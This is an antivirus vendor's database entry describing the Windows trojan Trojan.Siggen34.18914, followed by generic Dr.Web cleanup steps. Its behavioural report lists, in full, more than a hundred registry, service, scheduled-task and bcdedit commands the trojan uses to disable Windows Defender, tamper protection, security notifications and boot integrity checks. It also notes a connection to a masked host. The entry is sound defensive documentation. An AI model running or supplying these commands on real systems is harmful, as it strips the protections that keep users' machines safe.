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Trojan.Siggen34.18914

Aggiunto al database dei virus Dr.Web: 2026-09-23

La descrizione è stata aggiunta:

Technical Information

Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
  • Windows Defender
blocks the following features:
  • System Restore (SR)
adds antivirus exclusion:
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -DisableRealtimeMonitoring $true"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -DisableIOAVProtection $true"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -SubmitSamplesConsent 2"
Launches a large number of processes
Modifies file system
Creates the following files
  • nul
Network activity
Connects to
  • 'di##ord.com':443
TCP
Other
  • 'di##ord.com':443
UDP
  • DNS ASK di##ord.com
Miscellaneous
Executes the following
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d 0 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 0 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v DisableUpdate /t REG_DWORD /d 1 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v DisableUpdate /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v DisableAutoUpdate /t REG_DWORD /d 1 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v DisableAutoUpdate /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtectionEnabled /t REG_DWORD /d 0 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtectionEnabled /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v DisableTamperProtection /t REG_DWORD /d 1 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v DisableTamperProtection /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Security Intelligence" /v DisableTamperProtection /t REG_DWORD /d 1 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Security Intelligence" /v DisableTamperProtection /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c sc stop WinDefend 2>nul
  • '<SYSTEM32>\sc.exe' stop WinDefend
  • '<SYSTEM32>\cmd.exe' /c sc stop SecurityHealthService 2>nul
  • '<SYSTEM32>\sc.exe' stop SecurityHealthService
  • '<SYSTEM32>\cmd.exe' /c sc stop WdNisSvc 2>nul
  • '<SYSTEM32>\sc.exe' stop WdNisSvc
  • '<SYSTEM32>\cmd.exe' /c sc stop Sense 2>nul
  • '<SYSTEM32>\sc.exe' stop Sense
  • '<SYSTEM32>\cmd.exe' /c sc stop WdBoot 2>nul
  • '<SYSTEM32>\sc.exe' stop WdBoot
  • '<SYSTEM32>\cmd.exe' /c sc stop WdFilter 2>nul
  • '<SYSTEM32>\sc.exe' stop WdFilter
  • '<SYSTEM32>\cmd.exe' /c sc stop WdNisDrv 2>nul
  • '<SYSTEM32>\sc.exe' stop WdNisDrv
  • '<SYSTEM32>\cmd.exe' /c sc stop MpKsl 2>nul
  • '<SYSTEM32>\sc.exe' stop MpKsl
  • '<SYSTEM32>\cmd.exe' /c sc stop MsMpSvc 2>nul
  • '<SYSTEM32>\sc.exe' stop MsMpSvc
  • '<SYSTEM32>\cmd.exe' /c sc stop SgrmBroker 2>nul
  • '<SYSTEM32>\sc.exe' stop SgrmBroker
  • '<SYSTEM32>\cmd.exe' /c sc stop Sgrm 2>nul
  • '<SYSTEM32>\sc.exe' stop Sgrm
  • '<SYSTEM32>\cmd.exe' /c sc config WinDefend start= disabled 2>nul
  • '<SYSTEM32>\sc.exe' config WinDefend start= disabled
  • '<SYSTEM32>\cmd.exe' /c sc config SecurityHealthService start= disabled 2>nul
  • '<SYSTEM32>\sc.exe' config SecurityHealthService start= disabled
  • '<SYSTEM32>\cmd.exe' /c sc config WdNisSvc start= disabled 2>nul
  • '<SYSTEM32>\sc.exe' config WdNisSvc start= disabled
  • '<SYSTEM32>\cmd.exe' /c sc config Sense start= disabled 2>nul
  • '<SYSTEM32>\sc.exe' config Sense start= disabled
  • '<SYSTEM32>\cmd.exe' /c sc config WdBoot start= disabled 2>nul
  • '<SYSTEM32>\sc.exe' config WdBoot start= disabled
  • '<SYSTEM32>\cmd.exe' /c sc config WdFilter start= disabled 2>nul
  • '<SYSTEM32>\sc.exe' config WdFilter start= disabled
  • '<SYSTEM32>\cmd.exe' /c sc config WdNisDrv start= disabled 2>nul
  • '<SYSTEM32>\sc.exe' config WdNisDrv start= disabled
  • '<SYSTEM32>\cmd.exe' /c sc config MpKsl start= disabled 2>nul
  • '<SYSTEM32>\sc.exe' config MpKsl start= disabled
  • '<SYSTEM32>\cmd.exe' /c sc config MsMpSvc start= disabled 2>nul
  • '<SYSTEM32>\sc.exe' config MsMpSvc start= disabled
  • '<SYSTEM32>\cmd.exe' /c sc config SgrmBroker start= disabled 2>nul
  • '<SYSTEM32>\sc.exe' config SgrmBroker start= disabled
  • '<SYSTEM32>\cmd.exe' /c sc config Sgrm start= disabled 2>nul
  • '<SYSTEM32>\sc.exe' config Sgrm start= disabled
  • '<SYSTEM32>\cmd.exe' /c takeown /f "%ALLUSERSPROFILE%\Microsoft\Windows Defender" /r /d y 2>nul
  • '<SYSTEM32>\takeown.exe' /f "%ALLUSERSPROFILE%\Microsoft\Windows Defender" /r /d y
  • '<SYSTEM32>\cmd.exe' /c icacls "%ALLUSERSPROFILE%\Microsoft\Windows Defender" /grant SYSTEM:F /t 2>nul
  • '<SYSTEM32>\icacls.exe' "%ALLUSERSPROFILE%\Microsoft\Windows Defender" /grant SYSTEM:F /t
  • '<SYSTEM32>\cmd.exe' /c rd /s /q "%ALLUSERSPROFILE%\Microsoft\Windows Defender\Scans" 2>nul
  • '<SYSTEM32>\cmd.exe' /c rd /s /q "%ALLUSERSPROFILE%\Microsoft\Windows Defender\Quarantine" 2>nul
  • '<SYSTEM32>\cmd.exe' /c rd /s /q "%ALLUSERSPROFILE%\Microsoft\Windows Defender\LocalCopy" 2>nul
  • '<SYSTEM32>\cmd.exe' /c rd /s /q "%ALLUSERSPROFILE%\Microsoft\Windows Defender\Temp" 2>nul
  • '<SYSTEM32>\cmd.exe' /c rd /s /q "%ALLUSERSPROFILE%\Microsoft\Windows Defender\Support" 2>nul
  • '<SYSTEM32>\cmd.exe' /c rd /s /q "%ALLUSERSPROFILE%\Microsoft\Windows Defender\Definition Updates" 2>nul
  • '<SYSTEM32>\cmd.exe' /c schtasks /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /disable 2>nul
  • '<SYSTEM32>\schtasks.exe' /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /disable
  • '<SYSTEM32>\cmd.exe' /c schtasks /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /disable 2>nul
  • '<SYSTEM32>\schtasks.exe' /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /disable
  • '<SYSTEM32>\cmd.exe' /c schtasks /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /disable 2>nul
  • '<SYSTEM32>\schtasks.exe' /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /disable
  • '<SYSTEM32>\cmd.exe' /c schtasks /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Verification" /disable 2>nul
  • '<SYSTEM32>\schtasks.exe' /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Verification" /disable
  • '<SYSTEM32>\cmd.exe' /c schtasks /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Idle Task" /disable 2>nul
  • '<SYSTEM32>\schtasks.exe' /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Idle Task" /disable
  • '<SYSTEM32>\cmd.exe' /c schtasks /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Scan" /disable 2>nul
  • '<SYSTEM32>\schtasks.exe' /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Scan" /disable
  • '<SYSTEM32>\cmd.exe' /c schtasks /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Signature Update" /disable 2>nul
  • '<SYSTEM32>\schtasks.exe' /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Signature Update" /disable
  • '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /f 2>nul
  • '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /f
  • '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /f 2>nul
  • '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /f
  • '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /f 2>nul
  • '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /f
  • '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /f 2>nul
  • '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /f
  • '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /f 2>nul
  • '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /f
  • '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /f 2>nul
  • '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /f
  • '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /f 2>nul
  • '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /f
  • '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\SOFTWARE\Microsoft\Windows Defender" /f 2>nul
  • '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows Defender" /f
  • '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /f 2>nul
  • '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Security Center\Monitoring" /v DisableMonitoring /t REG_DWORD /d 1 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center\Monitoring" /v DisableMonitoring /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Security Center\Monitoring\Windows Defender" /v DisableMonitoring /t REG_DWORD /d 1 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center\Monitoring\Windows Defender" /v DisableMonitoring /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c powershell -command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
  • '<SYSTEM32>\cmd.exe' /c powershell -command "Set-MpPreference -DisableBehaviorMonitoring $true" 2>nul
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -DisableBehaviorMonitoring $true"
  • '<SYSTEM32>\cmd.exe' /c powershell -command "Set-MpPreference -DisableBlockAtFirstSeen $true" 2>nul
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -DisableBlockAtFirstSeen $true"
  • '<SYSTEM32>\cmd.exe' /c powershell -command "Set-MpPreference -DisableIOAVProtection $true" 2>nul
  • '<SYSTEM32>\cmd.exe' /c powershell -command "Set-MpPreference -DisablePrivacyMode $true" 2>nul
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -DisablePrivacyMode $true"
  • '<SYSTEM32>\cmd.exe' /c powershell -command "Set-MpPreference -SubmitSamplesConsent 2" 2>nul
  • '<SYSTEM32>\cmd.exe' /c bcdedit /set {current} nx AlwaysOff 2>nul
  • '<SYSTEM32>\bcdedit.exe' /set {current} nx AlwaysOff
  • '<SYSTEM32>\cmd.exe' /c bcdedit /set {current} bootstatuspolicy ignoreallfailures 2>nul
  • '<SYSTEM32>\bcdedit.exe' /set {current} bootstatuspolicy ignoreallfailures
  • '<SYSTEM32>\cmd.exe' /c bcdedit /set {current} recoveryenabled No 2>nul
  • '<SYSTEM32>\cmd.exe' /c bcdedit /set {current} nointegritychecks Yes 2>nul
  • '<SYSTEM32>\bcdedit.exe' /set {current} nointegritychecks Yes
  • '<SYSTEM32>\cmd.exe' /c bcdedit /set {current} testsigning Yes 2>nul
  • '<SYSTEM32>\bcdedit.exe' /set {current} testsigning Yes
  • '<SYSTEM32>\cmd.exe' /c bcdedit /set {current} disableelamdrivers Yes 2>nul
  • '<SYSTEM32>\bcdedit.exe' /set {current} disableelamdrivers Yes
  • '<SYSTEM32>\cmd.exe' /c bcdedit /set {default} nx AlwaysOff 2>nul
  • '<SYSTEM32>\bcdedit.exe' /set {default} nx AlwaysOff
  • '<SYSTEM32>\cmd.exe' /c bcdedit /set {default} recoveryenabled No 2>nul
  • '<SYSTEM32>\cmd.exe' /c bcdedit /set {default} nointegritychecks Yes 2>nul
  • '<SYSTEM32>\bcdedit.exe' /set {default} nointegritychecks Yes
  • '<SYSTEM32>\cmd.exe' /c bcdedit /set {default} testsigning Yes 2>nul
  • '<SYSTEM32>\bcdedit.exe' /set {default} testsigning Yes
  • '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_TOASTS_ENABLED /t REG_DWORD /d 0 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_TOASTS_ENABLED /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_ALLOW_CRITICAL_TOASTS /t REG_DWORD /d 0 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_ALLOW_CRITICAL_TOASTS /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_TOASTS_ENABLED /t REG_DWORD /d 0 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_TOASTS_ENABLED /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_ALLOW_CRITICAL_TOASTS /t REG_DWORD /d 0 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_ALLOW_CRITICAL_TOASTS /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v Enabled /t REG_DWORD /d 0 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v Enabled /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v DontShowInNotificationCenter /t REG_DWORD /d 1 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v DontShowInNotificationCenter /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v Enabled /t REG_DWORD /d 0 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v Enabled /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v DontShowInNotificationCenter /t REG_DWORD /d 1 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v DontShowInNotificationCenter /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDefenderWarning /t REG_DWORD /d 1 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDefenderWarning /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDefenderWarning /t REG_DWORD /d 1 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDefenderWarning /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Security Center\Monitoring" /v DisableNotifications /t REG_DWORD /d 1 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center\Monitoring" /v DisableNotifications /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSyncProviderNotifications /t REG_DWORD /d 0 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSyncProviderNotifications /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSyncProviderNotifications /t REG_DWORD /d 0 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSyncProviderNotifications /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications" /v ToastEnabled /t REG_DWORD /d 0 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications" /v ToastEnabled /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications" /v ToastEnabled /t REG_DWORD /d 0 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications" /v ToastEnabled /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\PushNotifications" /v ToastEnabled /t REG_DWORD /d 0 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\PushNotifications" /v ToastEnabled /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Security Center\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Security Center\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Security Center\Notifications" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Security Center\Notifications" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Security Center\Notifications" /v DisableCriticalNotifications /t REG_DWORD /d 1 /f 2>nul
  • '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Security Center\Notifications" /v DisableCriticalNotifications /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\ActionCenter" /v DisableNotifications /t REG_DWORD /d 1 /f 2>nul

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android